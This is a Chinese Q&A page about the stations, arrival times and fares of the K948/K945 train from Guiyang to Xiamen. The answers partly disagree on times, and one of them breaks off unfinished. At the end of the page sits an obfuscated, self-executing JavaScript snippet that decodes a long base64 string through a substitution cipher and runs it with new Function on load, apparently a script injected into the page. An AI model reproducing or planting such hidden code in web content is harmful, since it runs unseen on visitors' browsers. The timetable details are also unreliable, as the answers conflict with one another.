贵阳到厦门K948所经过的站有哪些

2025-03-30 17:34:23
推荐回答(3个)
回答1:

贵阳到厦门车次 K945/K948 的详细信息如下: 

贵阳站

地址:贵州省贵阳市南明区达高桥

火车站 - 公交站

途径公交车: 1路环线 2路环线 17路 20路24路 29路 43路 60路 63路 65路 74路203路 216路 219路空调 224路 240路250路 253路 255路 261路 280路夜间1路


另外,贵阳北站有到厦门的高铁车次, G1686/G1687 的详细信息如下:

回答2:

K948/K945
空调快速 始 贵阳 -厦门 21:08 第三日 06:49 33小时41分钟 2166公里 硬座 242 硬卧 410/423/438 软卧 642/671
站次 车站 到达日 到时 发时 停留时间 运行时间 里程 硬座 软座 硬卧上/中/下 软卧上/下
1 贵阳 当日 起点站 21:08 -- -- 0 -- -- -- --
2 贵定 当日 22:03 22:06 3分钟 55分钟 89 15 -- 61/66/69 91/97
3 凯里 当日 23:34 23:42 8分钟 2小时26分钟 188 29 -- 75/80/83 114/120
4 镇远 第二日 01:03 01:06 3分钟 3小时55分钟 276 42 -- 88/93/96 133/139
5 玉屏 第二日 01:57 02:01 4分钟 4小时49分钟 337 51 -- 97/102/105 147/153
6 怀化 第二日 03:32 03:43 11分钟 6小时24分钟 457 65 -- 116/120/123 176/183
7 娄底 第二日 08:19 08:26 7分钟 11小时11分钟 772 103 -- 179/185/191 275/286
8 株洲 第二日 10:22 10:36 14分钟 13小时14分钟 897 116 -- 201/207/215 313/326
9 醴陵 第二日 11:03 11:06 3分钟 13小时55分钟 939 120 -- 208/216/222 325/338
10 萍乡 第二日 11:34 11:38 4分钟 14小时26分钟 978 125 -- 216/224/231 337/352
11 宜春 第二日 12:23 12:26 3分钟 15小时15分钟 1044 137 -- 234/242/249 362/379
12 分宜 第二日 12:47 12:50 3分钟 15小时39分钟 1073 140 -- 240/248/257 374/390
13 新余 第二日 13:13 13:17 4分钟 16小时5分钟 1103 143 -- 246/254/263 383/400
14 樟树 第二日 14:23 14:25 2分钟 17小时15分钟 1179 150 -- 256/265/274 400/417
15 丰城 第二日 14:43 14:47 4分钟 17小时35分钟 1203 154 -- 263/272/281 411/429
16 向塘 第二日 15:16 15:29 13分钟 18小时8分钟 1236 154 -- 263/272/281 411/429
17 新干 第二日 16:52 16:54 2分钟 19小时44分钟 1348 165 -- 282/291/301 440/458
18 吉安 第二日 17:57 18:01 4分钟 20小时49分钟 1434 175 -- 298/308/319 466/486
19 兴国 第二日 19:26 19:28 2分钟 22小时18分钟 1547 182 -- 312/323/333 490/511
20 赣州 第二日 20:22 20:48 26分钟 23小时14分钟 1620 194 -- 330/341/353 517/539
21 于都 第二日 22:25 22:31 6分钟 25小时17分钟 1676 200 -- 339/351/363 532/554
22 瑞金 第二日 23:31 23:33 2分钟 26小时23分钟 1750 203 -- 345/357/369 544/568
23 长汀 第三日 00:01 00:03 2分钟 26小时53分钟 1783 208 -- 355/367/379 558/584
24 冠豸山 第三日 00:47 00:51 4分钟 27小时39分钟 1840 208 -- 355/367/379 558/584
25 龙岩 第三日 02:07 02:10 3分钟 28小时59分钟 1917 219 -- 372/385/399 587/613
26 漳平 第三日 03:20 03:32 12分钟 30小时12分钟 1985 226 -- 383/395/409 600/627
27 华安 第三日 04:33 04:34 1分钟 31小时25分钟 2039 231 -- 391/405/418 615/642
28 漳州东 第三日 06:01 06:04 3分钟 32小时53分钟 2111 238 -- 401/416/430 631/658
29 厦门 第三日 06:49 终点站 -- 33小时41分钟 2166 242 -- 410/423/438 642/671

回答3:

K948/K945次列车(快速 有空调),始发站:贵阳;终到站:厦门;全程共有28个停靠站:

站序 车站车次 到时 发时 历时 商务座 特等座 一等座 二等座 高级软卧上/下 软卧上/下 硬卧上/中/下 软座 硬座
1 贵阳 K948 ---- 21:08 -- -- -- -- -- -- -- -- -- --
2 贵定 K948 22:03 22:06 00:55 -- -- -- -- -- 91/97 61/66/69 -- 15
3 凯里 K948 23:34 23:42 02:26 -- -- -- -- -- 114/120 75/80/83 -- 29
4 镇远 K948 00:56 01:02 03:48 -- -- -- -- -- 133/139 88/93/96 -- 42
5 玉屏 K948 01:53 02:01 04:45 -- -- -- -- -- 147/153 97/102/105 -- 51
6 怀化 K948 03:32 03:43 06:24 -- -- -- -- -- 176/183 116/120/123 -- 65
7 娄底 K948 08:19 08:26 11:11 -- -- -- -- -- 275/286 179/185/191 -- 103
8 株洲 K948 10:22 10:36 13:14 -- -- -- -- -- 313/326 201/207/215 -- 116
9 醴陵 K948 11:03 11:05 13:55 -- -- -- -- -- 325/338 208/216/222 -- 120
10 萍乡 K948 11:33 11:37 14:25 -- -- -- -- -- 337/352 216/224/231 -- 125
11 宜春 K948 12:35 12:38 15:27 -- -- -- -- -- 362/379 234/242/249 -- 137
12 分宜 K948 12:59 13:02 15:51 -- -- -- -- -- 374/390 240/248/257 -- 140
13 新余 K948 13:25 13:29 16:17 -- -- -- -- -- 383/400 246/254/263 -- 143
14 樟树 K948 14:33 14:36 17:25 -- -- -- -- -- 400/417 256/265/274 -- 150
15 丰城 K948 14:54 14:58 17:46 -- -- -- -- -- 411/429 263/272/281 -- 154
16 向塘 K945 15:37 15:54 18:29 -- -- -- -- -- 411/429 263/272/281 -- 154
17 新干 K945 17:18 17:21 20:10 -- -- -- -- -- 440/458 282/291/301 -- 165
18 吉安 K945 18:25 18:29 21:17 -- -- -- -- -- 466/486 298/308/319 -- 175
19 兴国 K945 19:54 19:59 22:46 -- -- -- -- -- 490/511 312/323/333 -- 182
20 赣州 K945 20:53 21:11 23:45 -- -- -- -- -- 517/539 330/341/353 -- 194
21 于都 K945 22:25 22:31 25:17 -- -- -- -- -- 532/554 339/351/363 -- 200
22 瑞金 K945 23:31 23:33 26:23 -- -- -- -- -- 544/568 345/357/369 -- 203
23 长汀 K945 00:01 00:03 26:53 -- -- -- -- -- 558/584 355/367/379 -- 208
24 冠豸山 K945 00:47 00:51 27:39 -- -- -- -- -- 558/584 355/367/379 -- 208
25 龙岩 K945 02:07 02:10 28:59 -- -- -- -- -- 587/613 372/385/399 -- 219
26 漳平 K945 03:20 03:32 30:12 -- -- -- -- -- 600/627 383/395/409 -- 226
27 漳州东 K945 05:53 05:56 32:45 -- -- -- -- -- 631/658 401/416/430 -- 238
28 厦门 K945 06:47 ---- 33:39 -- -- -- -- -- 642/671 410/423/438 -- 242

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();